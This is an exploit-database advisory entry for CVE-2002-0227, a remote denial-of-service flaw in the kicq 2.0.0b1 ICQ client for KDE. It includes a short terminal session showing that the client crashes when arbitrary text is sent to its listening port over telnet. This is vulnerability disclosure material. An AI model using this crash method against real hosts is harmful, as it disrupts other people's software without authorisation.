kicq 2.0.0b1 - Invalid ICQ Packet Denial of Service

Author: Rafael San Miguel Carrasco
type: dos
platform: linux
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date_added: 2002-02-02  
date_updated: 2012-09-11  
verified: 1  
codes: CVE-2002-0227;OSVDB-8852  
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raw file: 21262.txt  

source: https://www.securityfocus.com/bid/4018/info

kicq 2.0.0b1 is an ICQ client for the K Desktop Environment (KDE). kicq can be crashed remotely by initiating a telnet connection to a port it is listening on and sending "random" characters. This does not affect other components of the system, only the ICQ client.

bash-2.05$ telnet 10.0.0.1 1030
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
garbage
Connection closed by foreign host.